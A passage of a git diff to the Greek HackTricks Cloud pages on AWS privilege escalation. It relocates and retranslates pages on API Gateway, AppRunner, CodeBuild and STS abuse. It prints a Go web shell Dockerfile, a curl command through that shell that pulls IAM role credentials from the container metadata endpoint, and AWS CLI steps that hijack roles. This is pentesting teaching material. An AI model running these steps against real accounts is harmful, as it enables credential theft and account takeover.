αποκτήσετε μια **συνεδρία κονσόλας προγράμματος περιήγησης** ### **Παράκαμψη περιορισμών User-Agent από Python** -Αν υπάρχει **περιορισμός στην εκτέλεση συγκεκριμένων ενεργειών βάσει του User-Agent** που χρησιμοποιείται (π.χ. περιορισμός της χρήσης της βιβλιοθήκης python boto3 με βάση τον User-Agent), είναι δυνατό να χρησιμοποιήσετε την προηγούμενη τεχνική για να **συνδεθείτε στην web console μέσω browser**, ή μπορείτε απευθείας να **τροποποιήσετε τον boto3 User-Agent** κάνοντας: +Εάν υπάρχει **περιορισμός στην εκτέλεση ορισμένων ενεργειών με βάση τον User-Agent** που χρησιμοποιείται (π.χ. περιορισμός της χρήσης της python boto3 library με βάση τον User-Agent) είναι δυνατό να χρησιμοποιήσετε την προηγούμενη τεχνική για να **συνδεθείτε στην κονσόλα ιστού μέσω προγράμματος περιήγησης**, ή μπορείτε απευθείας να **τροποποιήσετε τον boto3 user-agent** κάνοντας: ```bash # Shared by ex16x41 # Create a client @@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre ``` ### **`sts:GetFederationToken`** -Με αυτήν την άδεια είναι δυνατό να δημιουργηθεί μια ομοσπονδιακή ταυτότητα για τον χρήστη που την εκτελεί, περιορισμένη στις άδειες που διαθέτει αυτός ο χρήστης. +Με αυτή την άδεια είναι δυνατή η δημιουργία μιας ομοσπονδιακής ταυτότητας για τον χρήστη που την εκτελεί, περιορισμένη στις άδειες που διαθέτει ο χρήστης. ```bash aws sts get-federation-token --name ``` -Το token που επιστρέφεται από sts:GetFederationToken ανήκει στην federated identity του χρήστη που το καλεί, αλλά με περιορισμένα δικαιώματα. Ακόμη κι αν ο χρήστης έχει administrator rights, ορισμένες ενέργειες, όπως το list IAM users ή το attach policies, δεν μπορούν να εκτελεστούν μέσω του federated token. +Το token που επιστρέφεται από sts:GetFederationToken ανήκει στην federated identity του χρήστη που καλεί, αλλά με περιορισμένα δικαιώματα. Ακόμη και αν ο χρήστης έχει administrator δικαιώματα, ορισμένες ενέργειες, όπως η απαρίθμηση IAM users ή η επισύναψη policies, δεν μπορούν να εκτελεστούν μέσω του federated token. -Επιπλέον, αυτή η μέθοδος είναι κάπως πιο stealthy, αφού ο federated user δεν εμφανίζεται στο AWS Portal — μπορεί να παρατηρηθεί μόνο μέσω CloudTrail logs ή εργαλείων παρακολούθησης. +Επιπλέον, αυτή η μέθοδος είναι κάπως πιο stealthy, καθώς ο federated user δεν εμφανίζεται στο AWS Portal — μπορεί να παρατηρηθεί μόνο μέσω CloudTrail logs ή εργαλείων monitoring. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md deleted file mode 100644 index 52859311f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ /dev/null @@ -1,13 +0,0 @@ -# AWS - VPN Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## VPN - -Για περισσότερες πληροφορίες: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md new file mode 100644 index 000000000..3b4ed4363 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md @@ -0,0 +1,13 @@ +# AWS - VPN Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## VPN + +Για περισσότερες πληροφορίες: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md deleted file mode 100644 index 28eb3e23c..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ /dev/null @@ -1,95 +0,0 @@ -# AWS - Apigateway Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Apigateway - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### `apigateway:POST` - -Με αυτή την άδεια μπορείτε να δημιουργήσετε API keys των APIs που είναι ρυθμισμένα (ανά περιοχή). -```bash -aws --region apigateway create-api-key -``` -**Πιθανές Επιπτώσεις:** Δεν μπορείτε να αποκτήσετε δικαιώματα με αυτή την τεχνική, αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες. - -### `apigateway:GET` - -Με αυτή την άδεια μπορείτε να αποκτήσετε τα παραγόμενα API keys των APIs που είναι ρυθμισμένα (ανά περιοχή). -```bash -aws --region apigateway get-api-keys -aws --region apigateway get-api-key --api-key --include-value -``` -**Πιθανές Επιπτώσεις:** Δεν μπορείτε να αποκτήσετε δικαιώματα με αυτή την τεχνική, αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες. - -### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` - -Με αυτές τις άδειες είναι δυνατό να τροποποιήσετε την πολιτική πόρων ενός API για να αποκτήσετε πρόσβαση να το καλέσετε και να εκμεταλλευτείτε την πιθανή πρόσβαση που μπορεί να έχει το API gateway (όπως η εκτέλεση μιας ευάλωτης lambda). -```bash -aws apigateway update-rest-api \ ---rest-api-id api-id \ ---patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' -``` -**Πιθανές Επιπτώσεις:** Συνήθως, δεν θα μπορείτε να αποκτήσετε δικαιώματα με αυτή την τεχνική, αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες. - -### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` - -> [!ΣΗΜΕΙΩΣΗ] -> Χρειάζεται δοκιμή - -Ένας επιτιθέμενος με τα δικαιώματα `apigateway:PutIntegration`, `apigateway:CreateDeployment` και `iam:PassRole` μπορεί **να προσθέσει μια νέα ολοκλήρωση σε μια υπάρχουσα REST API του API Gateway με μια Lambda λειτουργία που έχει συσχετισμένο IAM ρόλο**. Ο επιτιθέμενος μπορεί στη συνέχεια **να ενεργοποιήσει τη Lambda λειτουργία για να εκτελέσει αυθαίρετο κώδικα και ενδεχομένως να αποκτήσει πρόσβαση στους πόρους που σχετίζονται με τον IAM ρόλο**. -```bash -API_ID="your-api-id" -RESOURCE_ID="your-resource-id" -HTTP_METHOD="GET" -LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" -LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role" - -# Add a new integration to the API Gateway REST API -aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Πιθανές Επιπτώσεις**: Πρόσβαση σε πόρους που σχετίζονται με τον ρόλο IAM της λειτουργίας Lambda. - -### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` - -> [!ΣΗΜΕΙΩΣΗ] -> Χρειάζεται δοκιμή - -Ένας επιτιθέμενος με τις άδειες `apigateway:UpdateAuthorizer` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει έναν υπάρχοντα εξουσιοδοτητή API Gateway** για να παρακάμψει τους ελέγχους ασφαλείας ή να εκτελέσει αυθαίρετο κώδικα όταν γίνονται αιτήσεις API. -```bash -API_ID="your-api-id" -AUTHORIZER_ID="your-authorizer-id" -LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" - -# Update the API Gateway authorizer -aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations - -# Create a deployment for the updated API Gateway REST API -aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod -``` -**Πιθανές Επιπτώσεις**: Παράκαμψη ελέγχων ασφαλείας, μη εξουσιοδοτημένη πρόσβαση σε πόρους API. - -### `apigateway:UpdateVpcLink` - -> [!ΣΗΜΕΙΩΣΗ] -> Χρειάζεται δοκιμή - -Ένας επιτιθέμενος με την άδεια `apigateway:UpdateVpcLink` μπορεί να **τροποποιήσει έναν υπάρχοντα VPC Link ώστε να δείχνει σε έναν διαφορετικό Network Load Balancer, πιθανώς ανακατευθύνοντας ιδιωτική κίνηση API σε μη εξουσιοδοτημένους ή κακόβουλους πόρους**. -```bash -bashCopy codeVPC_LINK_ID="your-vpc-link-id" -NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" - -# Update the VPC Link -aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση σε ιδιωτικούς πόρους API, παρεμβολή ή διακοπή της κυκλοφορίας API. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md new file mode 100644 index 000000000..03b86c047 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md @@ -0,0 +1,95 @@ +# AWS - Apigateway Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Apigateway + +Για περισσότερες πληροφορίες, δείτε: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### `apigateway:POST` + +Με αυτή την άδεια μπορείτε να δημιουργήσετε κλειδιά API για τα API που έχουν ρυθμιστεί (ανά περιοχή). +```bash +aws --region apigateway create-api-key +``` +**Potential Impact:** Δεν μπορείτε να privesc με αυτήν την τεχνική αλλά ενδέχεται να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες. + +### `apigateway:GET` + +Με αυτήν την άδεια μπορείτε να αποκτήσετε τα παραχθέντα API keys των APIs που έχουν ρυθμιστεί (per region). +```bash +aws --region apigateway get-api-keys +aws --region apigateway get-api-key --api-key --include-value +``` +**Potential Impact:** Δεν μπορείτε να privesc με αυτήν την τεχνική αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες. + +### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` + +Με αυτά τα permissions είναι δυνατόν να τροποποιήσετε το resource policy ενός API για να δώσετε στον εαυτό σας πρόσβαση να το καλέσετε και να καταχραστείτε τυχόν πρόσβαση που μπορεί να έχει το API gateway (όπως invoking a vulnerable lambda). +```bash +aws apigateway update-rest-api \ +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +``` +**Potential Impact:** Συνήθως δεν θα μπορείτε να κάνετε privesc άμεσα με αυτήν την τεχνική, αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες. + +### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` + +> [!NOTE] +> Απαιτείται δοκιμή + +Ένας επιτιθέμενος με τα δικαιώματα `apigateway:PutIntegration`, `apigateway:CreateDeployment`, και `iam:PassRole` μπορεί να **προσθέσει μια νέα integration σε ένα υπάρχον API Gateway REST API με μια Lambda function που έχει επισυναπτόμενο IAM role**. Στη συνέχεια ο επιτιθέμενος μπορεί να **προκαλέσει τη Lambda function να εκτελέσει αυθαίρετο κώδικα και ενδεχομένως να αποκτήσει πρόσβαση στους πόρους που σχετίζονται με το IAM role**. +```bash +API_ID="your-api-id" +RESOURCE_ID="your-resource-id" +HTTP_METHOD="GET" +LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" +LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role" + +# Add a new integration to the API Gateway REST API +aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Potential Impact**: Πρόσβαση σε πόρους που σχετίζονται με το IAM role της Lambda function. + +### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` + +> [!NOTE] +> Χρειάζεται δοκιμή + +Ένας επιτιθέμενος με τα δικαιώματα `apigateway:UpdateAuthorizer` και `apigateway:CreateDeployment` μπορεί να **τροποποιήσει έναν υπάρχοντα API Gateway authorizer** ώστε να παρακάμψει τους ελέγχους ασφαλείας ή να εκτελέσει αυθαίρετο κώδικα όταν γίνονται αιτήσεις API. +```bash +API_ID="your-api-id" +AUTHORIZER_ID="your-authorizer-id" +LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" + +# Update the API Gateway authorizer +aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations + +# Create a deployment for the updated API Gateway REST API +aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod +``` +**Πιθανός Αντίκτυπος**: Παράκαμψη ελέγχων ασφαλείας, μη εξουσιοδοτημένη πρόσβαση σε πόρους API. + +### `apigateway:UpdateVpcLink` + +> [!NOTE] +> Χρειάζεται δοκιμή + +An attacker with the permission `apigateway:UpdateVpcLink` can **τροποποιήσει ένα υπάρχον VPC Link ώστε να δείχνει σε διαφορετικό Network Load Balancer, ενδεχομένως ανακατευθύνοντας την ιδιωτική κίνηση του API σε μη εξουσιοδοτημένους ή κακόβουλους πόρους**. +```bash +VPC_LINK_ID="your-vpc-link-id" +NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" + +# Update the VPC Link +aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" +``` +**Πιθανός Αντίκτυπος**: Μη εξουσιοδοτημένη πρόσβαση σε ιδιωτικούς πόρους API, παρεμβολή ή διακοπή της κυκλοφορίας API. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md deleted file mode 100644 index 78a016d8a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md +++ /dev/null @@ -1,71 +0,0 @@ -# AWS - AppRunner Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AppRunner - -### `iam:PassRole`, `apprunner:CreateService` - -Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να δημιουργήσει μια υπηρεσία AppRunner με συνημμένο ρόλο IAM, ενδεχομένως κλιμακώνοντας τα προνόμια αποκτώντας πρόσβαση στα διαπιστευτήρια του ρόλου. - -Ο επιτιθέμενος πρώτα δημιουργεί ένα Dockerfile που λειτουργεί ως web shell για να εκτελεί αυθαίρετες εντολές στο κοντέινερ AppRunner. -```Dockerfile -FROM golang:1.24-bookworm -WORKDIR /app -RUN apt-get update && apt-get install -y ca-certificates curl -RUN cat <<'EOF' > main.go -package main - -import ( -"fmt" -"net/http" -"os/exec" -) - -func main() { -http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { -command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) -output, err := command.CombinedOutput() -if err != nil { -fmt.Fprint(w, err.Error(), output) -return -} - -fmt.Fprint(w, string(output)) -}) -http.ListenAndServe("0.0.0.0:3000", nil) -} -EOF -RUN go mod init test && go build -o main . -EXPOSE 3000 -CMD ["./main"] -``` -Στη συνέχεια, σπρώξτε αυτή την εικόνα σε ένα αποθετήριο ECR. Με το να σπρώξετε την εικόνα σε ένα δημόσιο αποθετήριο σε έναν λογαριασμό AWS που ελέγχεται από τον επιτιθέμενο, είναι δυνατή η κλιμάκωση προνομίων ακόμη και αν ο λογαριασμός του θύματος δεν έχει άδειες για να χειριστεί το ECR. -```sh -IMAGE_NAME=public.ecr.aws///:latest -docker buildx build --platform linux/amd64 -t $IMAGE_NAME . -aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws -docker push $IMAGE_NAME -docker logout public.ecr.aws -``` -Στη συνέχεια, ο επιτιθέμενος δημιουργεί μια υπηρεσία AppRunner ρυθμισμένη με αυτή την εικόνα web shell και τον IAM Ρόλο που θέλει να εκμεταλλευτεί. -```bash -aws apprunner create-service \ ---service-name malicious-service \ ---source-configuration '{ -"ImageRepository": { -"ImageIdentifier": "public.ecr.aws///:latest", -"ImageRepositoryType": "ECR_PUBLIC", -"ImageConfiguration": { "Port": "3000" } -} -}' \ ---instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ ---query Service.ServiceUrl -``` -Αφού περιμένετε να ολοκληρωθεί η δημιουργία της υπηρεσίας, χρησιμοποιήστε το web shell για να ανακτήσετε τα διαπιστευτήρια του κοντέινερ και να αποκτήσετε τις άδειες του IAM Role που είναι συνδεδεμένο με το AppRunner. -```sh -curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' -``` -**Πιθανές Επιπτώσεις:** Άμεση κλιμάκωση προνομίων σε οποιονδήποτε ρόλο IAM που μπορεί να προσαρτηθεί σε υπηρεσίες AppRunner. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md new file mode 100644 index 000000000..b47abb003 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md @@ -0,0 +1,72 @@ +# AWS - AppRunner Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AppRunner + +### `iam:PassRole`, `apprunner:CreateService` + +Ένας attacker με αυτά τα permissions μπορεί να δημιουργήσει μια υπηρεσία AppRunner με συνημμένο IAM role, ενδεχομένως escalating privileges αποκτώντας πρόσβαση στα credentials του role. + +Ο attacker πρώτα δημιουργεί ένα Dockerfile που λειτουργεί ως web shell για εκτέλεση αυθαίρετων εντολών στο AppRunner container. +```Dockerfile +FROM golang:1.24-bookworm +WORKDIR /app +RUN apt-get update && apt-get install -y ca-certificates curl +RUN cat <<'EOF' > main.go +package main + +import ( +"fmt" +"net/http" +"os/exec" +) + +func main() { +http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { +command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) +output, err := command.CombinedOutput() +if err != nil { +fmt.Fprint(w, err.Error(), output) +return +} + +fmt.Fprint(w, string(output)) +}) +http.ListenAndServe("0.0.0.0:3000", nil) +} +EOF +RUN go mod init test && go build -o main . +EXPOSE 3000 +CMD ["./main"] +``` +Στη συνέχεια, προώθησε αυτή την εικόνα σε ένα ECR repository. +Με την προώθηση της εικόνας σε ένα δημόσιο repository σε ένα AWS account που ελέγχεται από τον attacker, είναι δυνατή η privilege escalation ακόμα κι αν ο λογαριασμός του victim δεν έχει δικαιώματα να χειριστεί το ECR. +```sh +IMAGE_NAME=public.ecr.aws///:latest +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws +docker push $IMAGE_NAME +docker logout public.ecr.aws +``` +Στη συνέχεια, ο επιτιθέμενος δημιουργεί μια υπηρεσία AppRunner ρυθμισμένη με αυτό το web shell image και το IAM Role που θέλει να εκμεταλλευτεί. +```bash +aws apprunner create-service \ +--service-name malicious-service \ +--source-configuration '{ +"ImageRepository": { +"ImageIdentifier": "public.ecr.aws///:latest", +"ImageRepositoryType": "ECR_PUBLIC", +"ImageConfiguration": { "Port": "3000" } +} +}' \ +--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ +--query Service.ServiceUrl +``` +Αφού περιμένετε να ολοκληρωθεί η δημιουργία της υπηρεσίας, χρησιμοποιήστε το web shell για να ανακτήσετε τα container credentials και να αποκτήσετε τα permissions του IAM Role που είναι επισυναπτόμενο στο AppRunner. +```sh +curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' +``` +**Πιθανός Αντίκτυπος:** Άμεση κλιμάκωση προνομίων σε οποιοδήποτε IAM role που μπορεί να επισυναφθεί σε υπηρεσίες AppRunner. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md deleted file mode 100644 index f4e2282e8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Chime Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -### chime:CreateApiKey - -TODO - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md new file mode 100644 index 000000000..9f24d9a30 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md @@ -0,0 +1,9 @@ +# AWS - Chime Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +### chime:CreateApiKey + +Εκκρεμεί + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md similarity index 62% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md index de90f96d1..4071591c8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md @@ -1,18 +1,18 @@ # AWS - Codebuild Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## codebuild -Περισσότερες πληροφορίες στο: +Βρείτε περισσότερες πληροφορίες στο: {{#ref}} -../aws-services/aws-codebuild-enum.md +../../aws-services/aws-codebuild-enum.md {{#endref}} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Μόνο με μία από αυτές τις άδειες είναι αρκετό να ενεργοποιήσετε μια κατασκευή με ένα νέο buildspec και να κλέψετε το token του iam ρόλου που έχει ανατεθεί στο έργο: +Αρκεί μόνο μία από αυτές τις άδειες για να εκκινήσετε ένα build με νέο buildspec και να κλέψετε το token του iam role που έχει ανατεθεί στο project: {{#tabs }} {{#tab name="StartBuild" }} @@ -60,14 +60,14 @@ aws codebuild start-build-batch --project --buildspec-override fi **Σημείωση**: Η διαφορά μεταξύ αυτών των δύο εντολών είναι ότι: -- `StartBuild` ενεργοποιεί μια μοναδική εργασία κατασκευής χρησιμοποιώντας ένα συγκεκριμένο `buildspec.yml`. -- `StartBuildBatch` σας επιτρέπει να ξεκινήσετε μια παρτίδα κατασκευών, με πιο σύνθετες ρυθμίσεις (όπως η εκτέλεση πολλών κατασκευών παράλληλα). +- `StartBuild` ενεργοποιεί μία μόνο εργασία build χρησιμοποιώντας ένα συγκεκριμένο `buildspec.yml`. +- `StartBuildBatch` σας επιτρέπει να ξεκινήσετε ένα batch από builds, με πιο πολύπλοκες ρυθμίσεις (π.χ. εκτέλεση πολλαπλών builds παράλληλα). -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση για την απόκτηση δικαιωμάτων σε συσχετισμένους ρόλους AWS Codebuild. +**Πιθανός Αντίκτυπος:** Άμεσο privesc στους συνημμένους AWS Codebuild roles. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Ένας επιτιθέμενος με τα δικαιώματα **`iam:PassRole`, `codebuild:CreateProject`, και `codebuild:StartBuild` ή `codebuild:StartBuildBatch`** θα μπορούσε να **ανεβάσει δικαιώματα σε οποιονδήποτε ρόλο IAM του codebuild** δημιουργώντας έναν εκτελούμενο. +Ένας επιτιθέμενος με τα **`iam:PassRole`, `codebuild:CreateProject`, και `codebuild:StartBuild` ή `codebuild:StartBuildBatch`** permissions θα μπορούσε να **escalate privileges σε οποιονδήποτε codebuild IAM role** δημιουργώντας έναν ενεργό. {{#tabs }} {{#tab name="Example1" }} @@ -171,20 +171,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data {{#endtab }} {{#endtabs }} -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε οποιονδήποτε ρόλο AWS Codebuild. +**Πιθανός Αντίκτυπος:** Άμεσο privesc σε οποιονδήποτε ρόλο AWS Codebuild. > [!WARNING] -> Σε ένα **Codebuild container** το αρχείο `/codebuild/output/tmp/env.sh` περιέχει όλες τις μεταβλητές περιβάλλοντος που χρειάζονται για να αποκτήσετε πρόσβαση στα **credentials μεταδεδομένων**. +> Σε ένα **Codebuild container** το αρχείο `/codebuild/output/tmp/env.sh` περιέχει όλες τις env vars που χρειάζονται για πρόσβαση στα **metadata credentials**. -> Αυτό το αρχείο περιέχει τη **μεταβλητή περιβάλλοντος `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** που περιέχει τη **διαδρομή URL** για να αποκτήσετε πρόσβαση στα credentials. Θα είναι κάτι σαν αυτό `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Αυτό το αρχείο περιέχει την **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** η οποία περιέχει την **URL path** για πρόσβαση στα credentials. Θα είναι κάτι σαν αυτό `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Προσθέστε το στη διεύθυνση URL **`http://169.254.170.2/`** και θα μπορέσετε να εξάγετε τα credentials του ρόλου. +> Πρόσθεσέ το στο URL **`http://169.254.170.2/`** και θα μπορέσεις να dump τα role credentials. -> Επιπλέον, περιέχει επίσης τη **μεταβλητή περιβάλλοντος `ECS_CONTAINER_METADATA_URI`** που περιέχει την πλήρη διεύθυνση URL για να αποκτήσετε **πληροφορίες μεταδεδομένων σχετικά με το container**. +> Επιπλέον, περιέχει επίσης την **env variable `ECS_CONTAINER_METADATA_URI`** που περιλαμβάνει το πλήρες URL για να πάρεις **metadata info about the container**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Ακριβώς όπως στην προηγούμενη ενότητα, αν αντί να δημιουργήσετε ένα έργο κατασκευής μπορείτε να το τροποποιήσετε, μπορείτε να υποδείξετε τον IAM Ρόλο και να κλέψετε το token. +Όπως στην προηγούμενη ενότητα, αν αντί να δημιουργήσεις ένα build project μπορείς να το τροποποιήσεις, μπορείς να υποδείξεις το IAM Role και να κλέψεις το token ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file aws codebuild start-build --project-name codebuild-demo-project ``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε οποιονδήποτε ρόλο AWS Codebuild. +**Πιθανός αντίκτυπος:** Άμεσο privesc σε οποιονδήποτε ρόλο AWS Codebuild. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Όπως στην προηγούμενη ενότητα αλλά **χωρίς την άδεια `iam:PassRole`**, μπορείτε να εκμεταλλευτείτε αυτές τις άδειες για **να τροποποιήσετε υπάρχοντα έργα Codebuild και να αποκτήσετε πρόσβαση στον ρόλο που έχουν ήδη ανατεθεί**. +Όπως στην προηγούμενη ενότητα αλλά **χωρίς την άδεια `iam:PassRole`**, μπορείτε να καταχραστείτε αυτές τις άδειες για να **τροποποιήσετε υπάρχοντα έργα Codebuild και να αποκτήσετε πρόσβαση στον ρόλο που τους έχει ήδη ανατεθεί**. {{#tabs }} {{#tab name="StartBuild" }} @@ -298,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε συνημμένους ρόλους AWS Codebuild. +**Πιθανός Αντίκτυπος:** Άμεσο privesc σε συνδεδεμένους ρόλους AWS Codebuild. ### SSM -Έχοντας **αρκετά δικαιώματα για να ξεκινήσει μια συνεδρία ssm**, είναι δυνατόν να μπείτε **μέσα σε 